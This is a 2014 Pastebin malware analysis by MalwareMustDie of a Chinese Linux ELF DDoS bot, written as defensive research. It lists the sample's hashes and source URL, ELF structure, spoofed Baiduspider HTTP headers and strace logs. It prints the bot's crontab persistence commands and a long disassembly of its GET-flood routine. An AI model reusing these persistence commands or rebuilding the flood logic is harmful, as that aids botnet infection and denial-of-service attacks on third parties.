Advertisement
MalwareMustDie

TAOBAO China ELF DDoS'er

Jul 28th, 2014
3,274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # MalwareMustDie! ELF anaysis
  2. # Title: " Evolution of a China ELF DDoS'er
  3. # Reference previous analysis: http://blog.malwaremustdie.org/2014/05/linux-reversing-is-fun-toying-with-elf.html
  4. # Noted: See how the previous analysed DDoS functions are developed into wider threat now..
  5.  
  6. # Initial detection in Virus Total is 0/52 (FUD)
  7. # https://www.virustotal.com/en/file/19034c5fa31299e1d50e610dc3389d08db064d0c2a0aa1fb0bab0858532cd9c5/analysis/1406548491/
  8. #File name: sample
  9. #Detection ratio:    0 / 52
  10. #Analysis date:  2014-07-28 11:54:51 UTC ( 0 minutes ago )
  11.  
  12. / ------------------ /
  13. / Sample Information /
  14. / ------------------ /
  15.  
  16. / sample /
  17.  
  18. MD5    : d96fe80de7483eb961b38456c5b207e8
  19. SHA256 : 19034c5fa31299e1d50e610dc3389d08db064d0c2a0aa1fb0bab0858532cd9c5
  20.  
  21. / source /
  22.  
  23. http://122.94.40.23:38384/.taobao
  24. Mon Jul 27 15:28:32 JST 2014|122.94.40.23||9394 | 122.94.0.0/16 | CTTNET | CN | CHINATIETONG.COM | CHINA TIETONG TELECOMMUNICATIONS CORPORATION
  25.  
  26. / ------------------ /
  27. / Binary analysis    /
  28. / ------------------ /
  29.  
  30. / file /
  31.  
  32. sample: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
  33.  
  34. / ELF Header /
  35.  
  36.   Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  37.   Class:                             ELF32
  38.   Data:                              2`s complement, little endian
  39.   Version:                           1 (current)
  40.   OS/ABI:                            UNIX - System V
  41.   ABI Version:                       0
  42.   Type:                              EXEC (Executable file)
  43.   Machine:                           Intel 80386
  44.   Version:                           0x1
  45.   Entry point address:               0x80480f0
  46.   Start of program headers:          52 (bytes into file)
  47.   Start of section headers:          500x804 (bytes into file)
  48.   Flags:                             0x0
  49.   Size of this header:               52 (bytes)
  50.   Size of program headers:           32 (bytes)
  51.   Number of program headers:         4
  52.   Size of section headers:           40 (bytes)
  53.   Number of section headers:         25
  54.   Section header string table index: 22
  55.  
  56. / Section Headers /
  57.  
  58.     [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  59.    [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  60.    [ 1] .init             PROGBITS        0x80480d4 0000d4 000017 00  AX  0   0  4
  61.    [ 2] .text             PROGBITS        0x80480f0 0000f0 061524 00  AX  0   0 16
  62.    [ 3] __libc_freeres_fn PROGBITS        080a9614 061614 0008a2 00  AX  0   0  4
  63.    [ 4] __libc_thread_fre PROGBITS        080a9eb8 061eb8 0000dc 00  AX  0   0  4
  64.    [ 5] .fini             PROGBITS        080a9f94 061f94 00001a 00  AX  0   0  4
  65.    [ 6] .rodata           PROGBITS        080a9fc0 061fc0 014b2e 00   A  0   0 32
  66.    [ 7] __libc_atexit     PROGBITS        080beaf0 076af0 000004 00   A  0   0  4
  67.    [ 8] __libc_subfreeres PROGBITS        080beaf4 076af4 00003c 00   A  0   0  4
  68.    [ 9] __libc_thread_sub PROGBITS        080beb30 076b30 000004 00   A  0   0  4
  69.    [10] .eh_frame         PROGBITS        080beb34 076b34 001c10 00   A  0   0  4
  70.    [11] .ctors            PROGBITS        080c1744 078744 00000c 00  WA  0   0  4
  71.    [12] .dtors            PROGBITS        080c1750 078750 00000c 00  WA  0   0  4
  72.    [13] .jcr              PROGBITS        080c175c 07875c 000004 00  WA  0   0  4
  73.    [14] .data.rel.ro      PROGBITS        080c1760 078760 00002c 00  WA  0   0  4
  74.    [15] .got              PROGBITS        080c178c 07878c 000004 04  WA  0   0  4
  75.    [16] .got.plt          PROGBITS        080c1790 078790 00000c 04  WA  0   0  4
  76.    [17] .data             PROGBITS        080c17a0 0787a0 001a34 00  WA  0   0 32
  77.    [18] .bss              NOBITS          080c31e0 07a1d4 083994 00  WA  0   0 32
  78.    [19] __libc_freeres_pt NOBITS          08146b74 07a1d4 000020 00  WA  0   0  4
  79.    [20] .comment          PROGBITS        00000000 07a1d4 000168 00      0   0  1
  80.    [21] .note.ABI-tag     NOTE            0x80480b4 0000b4 000020 00   A  0   0  4
  81.    [22] .shstrtab         STRTAB          00000000 07a33c 000107 00      0   0  1
  82.    [23] .symtab           SYMTAB          00000000 07a82c 008070 10     24 517  4
  83.    [24] .strtab           STRTAB          00000000 08289c 00770b 00      0   0  1
  84.   Key to Flags:
  85.     W (write), A (alloc), X (execute), M (merge), S (strings)
  86.     I (info), L (link order), G (group), x (unknown)
  87.     O (extra OS processing required) o (OS specific), p (processor specific)
  88.  
  89. / Program Headers /
  90.  
  91.     Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  92.     LOAD           0x000000 0x0x8048000 0x0x8048000 0x78744 0x78744 R E 0x1000
  93.     LOAD           0x078744 0x080c1744 0x080c1744 0x01a90 0x85450 RW  0x1000
  94.     NOTE           0x0000b4 0x0x80480b4 0x0x80480b4 0x00020 0x00020 R   0x4
  95.     GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
  96.  
  97. / Section to Segment mapping /
  98.  
  99.      Segment Sections...
  100.       00     .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_atexit __libc_subfreeres
  101.              __libc_thread_subfreeres .eh_frame .note.ABI-tag
  102.       01     .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
  103.       02     .note.ABI-tag
  104.  
  105. / What it doesn't have.. /
  106.      
  107. There is no dynamic section in this file.
  108. There are no relocations in this file.
  109. There are no unwind sections in this file.
  110. There are no section groups in this file.
  111.  
  112. / version info /
  113.  
  114. Notes at offset 0x000000b4 with length 0x00000020:
  115.   Owner         Data size       Description
  116.   GNU           0x00000010      NT_VERSION (version)
  117.  
  118.  
  119. / ------------------ /
  120. / Reversing Notes..  /
  121. / ------------------ /
  122.  
  123. / the hacks /
  124. / below files is opened in "insecured way"
  125.  
  126. /etc/.mysys  (drops)
  127. /etc/crontab (new schedule…, see below)
  128.    chattr -i /etc/crontab
  129.    chmod +w /etc/crontab                                                                                        
  130.    sed -i '/%s/d' /etc/crontab                                                                                  
  131.    echo '*/1 * * * * root %s/%s %s' >> /etc/crontab
  132.  
  133. /* etc conf accessed: */
  134. /etc/suid-
  135. /var/tmp
  136. /var/profile
  137. /etc/host.conf
  138. /etc/nsswitch.conf
  139.  
  140. / Made in China ..localz/
  141.  
  142. .rodata:0x80BCCC0    i18n:1999                                                                                                    
  143. .rodata:0x80BCCCA    i18n:1999                                                                                                    
  144. .rodata:0x80BCCD4    i18n:1999
  145.  
  146. .rodata:080AA05C    Accept-Language: zh-CN\r\n                                                                                  
  147. .rodata:080AA078    User-Agent: Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)\r\n  
  148.  
  149. / Made by the same coder as previous one.../
  150.  
  151. .text:0x804ADC0                 mov     eax, [ebp+arg_4]
  152. .text:0x804ADC3                 sub     esp, 8
  153. .text:0x804ADC6                 push    offset aTaobao  ; "taobao"
  154. .text:0x804ADCB                 push    dword ptr [eax]
  155.  
  156.  
  157. / How to grab the DDoS functions /
  158.  
  159. go from: public main > _ConnectServer > DealwithDDoS > you see these 5 functions called:
  160. SYN_Flood
  161. UDP_Flood
  162. GET_Flood
  163. ICMP_Flood
  164. DNS_Flood
  165.  
  166. ; Reference, see embedded picture (see snapshot at: https://twitter.com/MalwareMustDie/status/493729921672310785 )
  167.  
  168. / What'S new in this variant: L7 attack = HTTP flood, method: GET /
  169.  
  170.   .text:0x804A5CE loc_804A5CE:; Reference called from function: DealwithDDoS
  171.  .text:0x804A5CE                 mov     eax, [ebp+8]
  172.  .text:0x804A5D1                 mov     eax, [eax+108h]
  173.  .text:0x804A5D7                 cmp     eax, [ebp-0Ch]
  174.  .text:0x804A5DA                 jle     locret_804A67F
  175.  .text:0x804A5E0                 push    dword ptr [ebp+8]
  176.  .text:0x804A5E3                 push    offset GET_Flood ; go to the next blob...
  177.  .text:0x804A5E8                 push    0
  178.  .text:0x804A5EA                 mov     eax, [ebp+var_C]
  179.  .text:0x804A5ED                 shl     eax, 2
  180.  .text:0x804A5F0                 add     eax, offset id
  181.  .text:0x804A5F5                 push    eax
  182.  .text:0x804A5F6                 call    pthread_create ; thread base dandori..
  183.  .text:0x804A5FB                 add     esp, 10h
  184.  .text:0x804A5FE                 mov     [ebp+var_41C], eax
  185.  .text:0x804A604                 lea     eax, [ebp+var_C]
  186.  .text:0x804A607                 inc     dword ptr [eax]
  187.  .text:0x804A609                 jmp     short loc_804A5CE
  188.      { : }
  189.  .text:0x8049018                 public GET_Flood
  190.  .text:0x8049018 GET_Flood       proc near; ; Reference called from function: DealwithDDoS
  191.  .text:0x8049018 var_1015C       = dword ptr -1015Ch
  192.  .text:0x8049018 var_10158       = dword ptr -10158h
  193.  .text:0x8049018 var_10154       = dword ptr -10154h
  194.  .text:0x8049018 var_10148       = dword ptr -10148h
  195.  .text:0x8049018 var_144         = dword ptr -144h
  196.  .text:0x8049018 var_140         = dword ptr -140h
  197.  .text:0x8049018 fd              = dword ptr -13Ch
  198.  .text:0x8049018 var_138         = dword ptr -138h
  199.  .text:0x8049018 var_38          = dword ptr -38h
  200.  .text:0x8049018 var_28          = dword ptr -28h
  201.  .text:0x8049018 var_C           = dword ptr -0Ch
  202.  .text:0x8049018 arg_0           = dword ptr  8
  203.  .text:0x8049018
  204.  .text:0x8049018                 push    ebp ; threading started....
  205.  .text:0x8049019                 mov     ebp, esp
  206.  .text:0x804901B                 push    ebx
  207.  .text:0x804901C                 sub     esp, 10164h
  208.  .text:0x8049022                 sub     esp, 0Ch
  209.  .text:0x8049025                 sub     esp, 4
  210.  .text:0x8049028                 call    pthread_self
  211.  .text:0x804902D                 add     esp, 4
  212.  .text:0x8049030                 push    eax
  213.  .text:0x8049031                 call    pthread_detach
  214.  .text:0x8049036                 add     esp, 10h
  215.  .text:0x8049039                 mov     eax, [ebp+arg_0]
  216.  .text:0x804903C                 mov     [ebp+var_C], eax
  217.  .text:0x804903F                 sub     esp, 4
  218.  .text:0x8049042                 push    118h
  219.  .text:0x8049047                 push    [ebp+var_C]
  220.  .text:0x804904A                 lea     eax, [ebp+var_138]
  221.  .text:0x8049050                 push    eax
  222.  .text:0x8049051                 call    memcpy   ; memory allocations..
  223.  .text:0x8049056                 add     esp, 10h
  224.  .text:0x8049059                 sub     esp, 4
  225.  .text:0x804905C                 push    10h
  226.  .text:0x804905E                 push    0
  227.  .text:0x8049060                 lea     eax, [ebp+var_10158]
  228.  .text:0x8049066                 push    eax
  229.  .text:0x8049067                 call    memset
  230.  .text:0x804906C                 add     esp, 10h
  231.  .text:0x804906F                 sub     esp, 8
  232.  .text:0x8049072                 push    10h
  233.  .text:0x8049074                 lea     eax, [ebp+var_10158]
  234.  .text:0x804907A                 push    eax
  235.  .text:0x804907B                 call    bzero
  236.  .text:0x8049080                 add     esp, 10h
  237.  .text:0x8049083                 mov     word ptr [ebp+var_10158], 2
  238.  .text:0x804908C                 mov     eax, [ebp+var_38]
  239.  .text:0x804908F                 movzx   eax, ax
  240.  .text:0x8049092                 sub     esp, 0Ch
  241.  .text:0x8049095                 push    eax
  242.  .text:0x8049096                 call    ntohs
  243.  .text:0x804909B                 add     esp, 10h
  244.  .text:0x804909E                 mov     word ptr [ebp+var_10158+2], ax
  245.  .text:0x80490A5                 sub     esp, 0Ch
  246.  .text:0x80490A8                 lea     eax, [ebp+var_138]
  247.  .text:0x80490AE                 push    eax
  248.  .text:0x80490AF                 call    AnalysisAddress
  249.  .text:0x80490B4                 add     esp, 10h
  250.  .text:0x80490B7                 mov     [ebp+var_10154], eax
  251.  .text:0x80490BD
  252.  .text:0x80490BD loc_80490BD:                            ; CODE XREF: GET_Flood+3B6j
  253.  .text:0x80490BD                 sub     esp, 4
  254.  .text:0x80490C0                 push    0
  255.  .text:0x80490C2                 push    1
  256.  .text:0x80490C4                 push    2               ; args
  257.  .text:0x80490C6                 call    socket          ; socket operations is initaited here..
  258.  .text:0x80490CB                 add     esp, 10h
  259.  .text:0x80490CE                 mov     [ebp+fd], eax
  260.  .text:0x80490D4                 sub     esp, 4
  261.  .text:0x80490D7                 push    10h
  262.  .text:0x80490D9                 lea     eax, [ebp+var_10158]
  263.  .text:0x80490DF                 push    eax
  264.  .text:0x80490E0                 push    [ebp+fd]        ; args
  265.  .text:0x80490E6                 call    connect         ; using the arg to connect..
  266.  .text:0x80490EB                 add     esp, 10h
  267.  .text:0x80490EE                 cmp     eax, 0FFFFFFFFh
  268.  .text:0x80490F1                 jnz     short loc_8049109
  269.  .text:0x80490F3                 sub     esp, 0Ch
  270.  .text:0x80490F6                 push    [ebp+fd]        ; fd
  271.  .text:0x80490FC                 call    close
  272.  .text:0x8049101                 add     esp, 10h
  273.  .text:0x8049104                 jmp     loc_80493C7
  274.  .text:0x8049109
  275.  .text:0x8049109 loc_8049109:    ; if everything ok, this GET will be in loops..
  276.  .text:0x8049109                 sub     esp, 4
  277.  .text:0x804910C                 push    4
  278.  .text:0x804910E                 push    offset aGet     ; "GET "
  279.  .text:0x8049113                 lea     eax, [ebp+var_10148]
  280.  .text:0x8049119                 push    eax
  281.  .text:0x804911A                 call    memcpy
  282.  .text:0x804911F                 add     esp, 10h
  283.  .text:0x8049122                 mov     [ebp+var_140], 4
  284.  .text:0x804912C                 sub     esp, 4
  285.  .text:0x804912F                 lea     eax, [ebp+var_138]
  286.  .text:0x8049135                 sub     eax, 0FFFFFF80h
  287.  .text:0x8049138                 sub     esp, 8
  288.  .text:0x804913B                 push    eax
  289.  .text:0x804913C                 call    strlen
  290.  .text:0x8049141                 add     esp, 0Ch
  291.  .text:0x8049144                 push    eax
  292.  .text:0x8049145                 lea     eax, [ebp+var_138]
  293.  .text:0x804914B                 sub     eax, 0FFFFFF80h
  294.  .text:0x804914E                 push    eax
  295.  .text:0x804914F                 lea     eax, [ebp+var_10148]
  296.  .text:0x8049155                 add     eax, [ebp+var_140]
  297.  .text:0x804915B                 push    eax
  298.  .text:0x804915C                 call    memcpy
  299.  .text:0x8049161                 add     esp, 10h
  300.  .text:0x8049164                 lea     eax, [ebp+var_138]
  301.  .text:0x804916A                 sub     eax, 0FFFFFF80h
  302.  .text:0x804916D                 sub     esp, 0Ch
  303.  .text:0x8049170                 push    eax
  304.  .text:0x8049171                 call    strlen
  305.  .text:0x8049176                 add     esp, 10h
  306.  .text:0x8049179                 mov     edx, eax
  307.  .text:0x804917B                 lea     eax, [ebp+var_140]
  308.  .text:0x8049181                 add     [eax], edx
  309.  .text:0x8049183                 cmp     [ebp+var_28], 0
  310.  .text:0x8049187                 jz      short loc_80491FC
  311.  .text:0x8049189                 sub     esp, 0Ch
  312.  .text:0x804918C                 push    0
  313.  .text:0x804918E                 call    time
  314.  .text:0x8049193                 add     esp, 4
  315.  .text:0x8049196                 push    eax
  316.  .text:0x8049197                 call    srandom
  317.  .text:0x804919C                 add     esp, 10h
  318.  .text:0x804919F                 mov     eax, [ebp+var_140]
  319.  .text:0x80491A5                 mov     [ebp+var_144], eax
  320.  .text:0x80491AB
  321.  .text:0x80491AB loc_80491AB:
  322.  .text:0x80491AB                 mov     eax, [ebp+var_140]
  323.  .text:0x80491B1                 add     eax, 5
  324.  .text:0x80491B4                 cmp     eax, [ebp+var_144]
  325.  .text:0x80491BA                 jle     short loc_80491F3
  326.  .text:0x80491BC                 lea     eax, [ebp+var_10148]
  327.  .text:0x80491C2                 mov     ebx, eax
  328.  .text:0x80491C4                 add     ebx, [ebp+var_144]
  329.  .text:0x80491CA                 call    rand
  330.  .text:0x80491CF                 mov     edx, eax
  331.  .text:0x80491D1                 mov     [ebp+var_1015C], 1Ah
  332.  .text:0x80491DB                 mov     eax, edx
  333.  .text:0x80491DD                 cdq
  334.  .text:0x80491DE                 idiv    [ebp+var_1015C]
  335.  .text:0x80491E4                 lea     eax, [edx+61h]
  336.  .text:0x80491E7                 mov     [ebx], al
  337.  .text:0x80491E9                 lea     eax, [ebp+var_144]
  338.  .text:0x80491EF                 inc     dword ptr [eax]
  339.  .text:0x80491F1                 jmp     short loc_80491AB
  340.  .text:0x80491F3
  341.  .text:0x80491F3 loc_80491F3:
  342.  .text:0x80491F3                 lea     eax, [ebp+var_140]
  343.  .text:0x80491F9                 add     dword ptr [eax], 5
  344.  .text:0x80491FC
  345.  .text:0x80491FC loc_80491FC:
  346.  .text:0x80491FC                 sub     esp, 4
  347.  .text:0x80491FF                 push    0Bh             ; here goes the headers....
  348.  .text:0x8049201                 push    offset aHttp1_1 ; " HTTP/1.1\r\n"
  349.  .text:0x8049206                 lea     eax, [ebp+var_10148]
  350.  .text:0x804920C                 add     eax, [ebp+var_140]
  351.  .text:0x8049212                 push    eax
  352.  .text:0x8049213                 call    memcpy
  353.  .text:0x8049218                 add     esp, 10h
  354.  .text:0x804921B                 lea     eax, [ebp+var_140]
  355.  .text:0x8049221                 add     dword ptr [eax], 0Bh
  356.  .text:0x8049224                 sub     esp, 4
  357.  .text:0x8049227                 push    2Fh
  358.  .text:0x8049229                 push    offset aAcceptTextHtml ; "Accept: text/html, application/xhtml+xm"...
  359.  .text:0x804922E                 lea     eax, [ebp+var_10148]
  360.  .text:0x8049234                 add     eax, [ebp+var_140]
  361.  .text:0x804923A                 push    eax
  362.  .text:0x804923B                 call    memcpy
  363.  .text:0x8049240                 add     esp, 10h
  364.  .text:0x8049243                 lea     eax, [ebp+var_140]
  365.  .text:0x8049249                 add     dword ptr [eax], 2Fh
  366.  .text:0x804924C                 sub     esp, 4
  367.  .text:0x804924F                 push    18h
  368.  .text:0x8049251                 push    offset aAcceptLanguage ; "Accept-Language: zh-CN\r\n"
  369.  .text:0x8049256                 lea     eax, [ebp+var_10148]
  370.  .text:0x804925C                 add     eax, [ebp+var_140]
  371.  .text:0x8049262                 push    eax
  372.  .text:0x8049263                 call    memcpy
  373.  .text:0x8049268                 add     esp, 10h
  374.  .text:0x804926B                 lea     eax, [ebp+var_140]
  375.  .text:0x8049271                 add     dword ptr [eax], 18h
  376.  .text:0x8049274                 sub     esp, 4
  377.  .text:0x8049277                 push    61h
  378.  .text:0x8049279                 push    offset aUserAgentMozil ; "User-Agent: Mozilla/5.0+(compatible;+Ba"...
  379.  .text:0x804927E                 lea     eax, [ebp+var_10148]
  380.  .text:0x8049284                 add     eax, [ebp+var_140]
  381.  .text:0x804928A                 push    eax
  382.  .text:0x804928B                 call    memcpy
  383.  .text:0x8049290                 add     esp, 10h
  384.  .text:0x8049293                 lea     eax, [ebp+var_140]
  385.  .text:0x8049299                 add     dword ptr [eax], 61h
  386.  .text:0x804929C                 sub     esp, 4
  387.  .text:0x804929F                 push    20h
  388.  .text:0x80492A1                 push    offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
  389.  .text:0x80492A6                 lea     eax, [ebp+var_10148]
  390.  .text:0x80492AC                 add     eax, [ebp+var_140]
  391.  .text:0x80492B2                 push    eax
  392.  .text:0x80492B3                 call    memcpy
  393.  .text:0x80492B8                 add     esp, 10h
  394.  .text:0x80492BB                 lea     eax, [ebp+var_140]
  395.  .text:0x80492C1                 add     dword ptr [eax], 20h
  396.  .text:0x80492C4                 sub     esp, 4
  397.  .text:0x80492C7                 push    6
  398.  .text:0x80492C9                 push    offset aHost    ; "Host: "
  399.  .text:0x80492CE                 lea     eax, [ebp+var_10148]
  400.  .text:0x80492D4                 add     eax, [ebp+var_140]
  401.  .text:0x80492DA                 push    eax
  402.  .text:0x80492DB                 call    memcpy
  403.  .text:0x80492E0                 add     esp, 10h
  404.  .text:0x80492E3                 lea     eax, [ebp+var_140]
  405.  .text:0x80492E9                 add     dword ptr [eax], 6
  406.  .text:0x80492EC                 sub     esp, 4
  407.  .text:0x80492EF                 lea     eax, [ebp+var_138]
  408.  .text:0x80492F5                 sub     esp, 8
  409.  .text:0x80492F8                 push    eax
  410.  .text:0x80492F9                 call    strlen
  411.  .text:0x80492FE                 add     esp, 0Ch
  412.  .text:0x8049301                 push    eax
  413.  .text:0x8049302                 lea     eax, [ebp+var_138]
  414.  .text:0x8049308                 push    eax
  415.  .text:0x8049309                 lea     eax, [ebp+var_10148]
  416.  .text:0x804930F                 add     eax, [ebp+var_140]
  417.  .text:0x8049315                 push    eax
  418.  .text:0x8049316                 call    memcpy
  419.  .text:0x804931B                 add     esp, 10h
  420.  .text:0x804931E                 lea     eax, [ebp+var_138]
  421.  .text:0x8049324                 sub     esp, 0Ch
  422.  .text:0x8049327                 push    eax
  423.  .text:0x8049328                 call    strlen
  424.  .text:0x804932D                 add     esp, 10h
  425.  .text:0x8049330                 mov     edx, eax
  426.  .text:0x8049332                 lea     eax, [ebp+var_140]
  427.  .text:0x8049338                 add     [eax], edx
  428.  .text:0x804933A                 sub     esp, 4
  429.  .text:0x804933D                 push    1Ah
  430.  .text:0x804933F                 push    offset aConnectionKeep ; "\r\nConnection: Keep-Alive\r\n"
  431.  .text:0x8049344                 lea     eax, [ebp+var_10148]
  432.  .text:0x804934A                 add     eax, [ebp+var_140]
  433.  .text:0x8049350                 push    eax
  434.  .text:0x8049351                 call    memcpy
  435.  .text:0x8049356                 add     esp, 10h
  436.  .text:0x8049359                 lea     eax, [ebp+var_140]
  437.  .text:0x804935F                 add     dword ptr [eax], 1Ah
  438.  .text:0x8049362                 sub     esp, 4
  439.  .text:0x8049365                 push    14h
  440.  .text:0x8049367                 push    offset aPragmaNoCache ; "Pragma: no-cache\r\n\r\n"
  441.  .text:0x804936C                 lea     eax, [ebp+var_10148]
  442.  .text:0x8049372                 add     eax, [ebp+var_140]
  443.  .text:0x8049378                 push    eax
  444.  .text:0x8049379                 call    memcpy
  445.  .text:0x804937E                 add     esp, 10h
  446.  .text:0x8049381                 lea     eax, [ebp+var_140]
  447.  .text:0x8049387                 add     dword ptr [eax], 14h
  448.  .text:0x804938A                 sub     esp, 8
  449.  .text:0x804938D                 push    1
  450.  .text:0x804938F                 push    0Dh
  451.  .text:0x8049391                 call    ssignal
  452.  .text:0x8049396                 add     esp, 10h
  453.  .text:0x8049399                 push    0
  454.  .text:0x804939B                 push    [ebp+var_140]
  455.  .text:0x80493A1                 lea     eax, [ebp+var_10148]
  456.  .text:0x80493A7                 push    eax
  457.  .text:0x80493A8                 push    [ebp+fd]        ; args
  458.  .text:0x80493AE                 call    send
  459.  .text:0x80493B3                 add     esp, 10h
  460.  .text:0x80493B6                 sub     esp, 0Ch
  461.  .text:0x80493B9                 push    [ebp+fd]        ; fd
  462.  .text:0x80493BF                 call    close
  463.  .text:0x80493C4                 add     esp, 10h
  464.  .text:0x80493C7
  465.  .text:0x80493C7 loc_80493C7:   ; done...
  466.  .text:0x80493C7                 cmp     StopFlag, 1
  467.  .text:0x80493CE                 jnz     loc_80490BD
  468.  .text:0x80493D4                 sub     esp, 0Ch
  469.  .text:0x80493D7                 push    offset aSuccess ; "success"
  470.  .text:0x80493DC                 call    pthread_exit
  471.  .text:0x80493DC GET_Flood       endp
  472.  
  473.   / HTTP GET Flood's header summarized, pretending as the baidu spider /
  474.  
  475.   .rodata:0x80AA01A   GET                                                                                                          
  476.  .rodata:0x80AA01F   HTTP/1.1\r\n                                                                                                
  477.  .rodata:0x80AA02C   Accept: text/html, application/xhtml+xml, *|*\r\n
  478.  .rodata:0x80AA05C   Accept-Language: zh-CN\r\n                                                                                  
  479.  .rodata:0x80AA078   User-Agent: Mozilla/5.0(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)\r\n          
  480.  .rodata:0x80AA0DC   Accept-Encoding: gzip, deflate\r\n                                                                          
  481.  .rodata:0x80AA0FD   Host:                                                                                                        
  482.  .rodata:0x80AA104   \r\nConnection: Keep-Alive\r\n                                                                              
  483.  .rodata:0x80AA11F   Pragma: no-cache\r\n\r\n                            
  484.  
  485.  
  486.   / how the ip target is fed, applied to the L7 flood by ARG /
  487.  
  488.   push    offset aLu_Lu_Lu_Lu ; "%lu.%lu.%lu.%lu"
  489.   push    10h
  490.  
  491. / --------------------------------------- /
  492. / Debug… need ENOSYS sys call precompiled /
  493. / --------------------------------------- /
  494.  
  495. / debug - 1st try /
  496.  
  497. ; non root
  498.  
  499. execve("./sample", ["./sample"], [/* 17 vars */]) = 0
  500. [ Process PID=32400 runs in 32 bit mode. ]
  501. uname({sys="Linux", node="1x111", ...}) = 0
  502. brk(0)                                  = 0x8566000
  503. brk(0x8587000)                          = 0x8587000
  504. getrlimit(RLIMIT_STACK, {rlim_cur=-4286578688, rlim_max=0}) = 0
  505. setrlimit(RLIMIT_STACK, {rlim_cur=-4292874240, rlim_max=0}) = 0
  506. getpid()                                = 32400
  507. rt_sigaction(SIGRTMIN, {0x804c9b0, [], 0}, NULL, 8) = 0
  508. rt_sigaction(SIGRT_1, {0x804ca48, [RTMIN], 0}, NULL, 8) = 0
  509. rt_sigaction(SIGRT_2, {0x804cb4c, [], 0}, NULL, 8) = 0
  510. rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
  511. rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
  512. _sysctl({0x2080aa344, -6106976, (nil), (nil), (nil), 18420514605488689824}) = -1 ENOSYS (Function not implemented)
  513. open("/proc/sys/kernel/version", O_RDONLY) = 3
  514. read(3, "#1 SMP Debian 3.2.60-1+deb7u1\n", 512) = 30
  515. close(3)                                = 0
  516. fork()                                  = 32402
  517. exit_group(0)                           = ?
  518. rik@1x111 ~ $
  519.  
  520. ; root
  521.  
  522. execve("./sample", ["./sample"], [/* 20 vars */]) = 0
  523. [ Process PID=649 runs in 32 bit mode. ]
  524. uname({sys="Linux", node="1x111", ...}) = 0
  525. brk(0)                                  = 0x9788000
  526. brk(0x97a9000)                          = 0x97a9000
  527. getrlimit(RLIMIT_STACK, {rlim_cur=-4286578688, rlim_max=0}) = 0
  528. setrlimit(RLIMIT_STACK, {rlim_cur=-4292874240, rlim_max=0}) = 0
  529. getpid()                                = 649
  530. rt_sigaction(SIGRTMIN, {0x804c9b0, [], 0}, NULL, 8) = 0
  531. rt_sigaction(SIGRT_1, {0x804ca48, [RTMIN], 0}, NULL, 8) = 0
  532. rt_sigaction(SIGRT_2, {0x804cb4c, [], 0}, NULL, 8) = 0
  533. rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
  534. rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
  535. _sysctl({0x2080aa344, -7628784, (nil), (nil), (nil), 18413978489897898656}) = -1 ENOSYS (Function not implemented)
  536. open("/proc/sys/kernel/version", O_RDONLY) = 3
  537. read(3, "#1 SMP Debian 3.2.60-1+deb7u1\n", 512) = 30
  538. close(3)                                = 0
  539. fork()                                  = 650
  540. exit_group(0)                           = ?
  541.  
  542. ; drops exists...
  543.  
  544. # ls -alF /etc/.mysys
  545. ---------- 1 root root 0 Jul 28 12:57 /etc/.mysys
  546.  
  547.  
  548. / next (2nd)  try /
  549.  
  550. ; non root
  551.  
  552. execve("./sample", ["./sample"], [/* 21 vars */]) = 0
  553. uname({sys="Linux", node="malware.must.die", ...}) = 0
  554. brk(0)                                  = 0x9f3d000
  555. brk(0x9f5e000)                          = 0x9f5e000
  556. getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0
  557. setrlimit(RLIMIT_STACK, {rlim_cur=2044*1024, rlim_max=RLIM_INFINITY}) = 0
  558. getpid()                                = 1786
  559. rt_sigaction(SIGRTMIN, {0x804c9b0, [], SA_RESTORER, 0x8055288}, NULL, 8) = 0
  560. rt_sigaction(SIGRT_1, {0x804ca48, [RTMIN], SA_RESTORER, 0x8055288}, NULL, 8) = 0
  561. rt_sigaction(SIGRT_2, {0x804cb4c, [], SA_RESTORER, 0x8055288}, NULL, 8) = 0
  562. rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
  563. rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
  564. _sysctl({{CTL_KERN, KERN_VERSION}, 2, 0xbff22b10, 30, (nil), 0}) = 0
  565. fork()                                  = 1787
  566. --- SIGCHLD (Child exited) @ 0 (0) ---
  567. exit_group(0)                           = ?
  568.  
  569. ; root
  570.  
  571. execve("./sample", ["./sample"], [/* 18 vars */]) = 0
  572. uname({sys="Linux", node="malware.must.die", ...}) = 0
  573. brk(0)                                  = 0xa057000
  574. brk(0xa078000)                          = 0xa078000
  575. getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0
  576. setrlimit(RLIMIT_STACK, {rlim_cur=2044*1024, rlim_max=RLIM_INFINITY}) = 0
  577. getpid()                                = 1822
  578. rt_sigaction(SIGRTMIN, {0x804c9b0, [], SA_RESTORER, 0x8055288}, NULL, 8) = 0
  579. rt_sigaction(SIGRT_1, {0x804ca48, [RTMIN], SA_RESTORER, 0x8055288}, NULL, 8) = 0
  580. rt_sigaction(SIGRT_2, {0x804cb4c, [], SA_RESTORER, 0x8055288}, NULL, 8) = 0
  581. rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
  582. rt_sigprocmask(SIG_UNBLOCK, [RT_1], NULL, 8) = 0
  583. _sysctl({{CTL_KERN, KERN_VERSION}, 2, 0xbfe50b70, 30, (nil), 0}) = 0
  584. fork()                                  = 1823
  585. --- SIGCHLD (Child exited) @ 0 (0) ---
  586. exit_group(0)                           = ?
  587.  
  588. ; drop exists...
  589.  
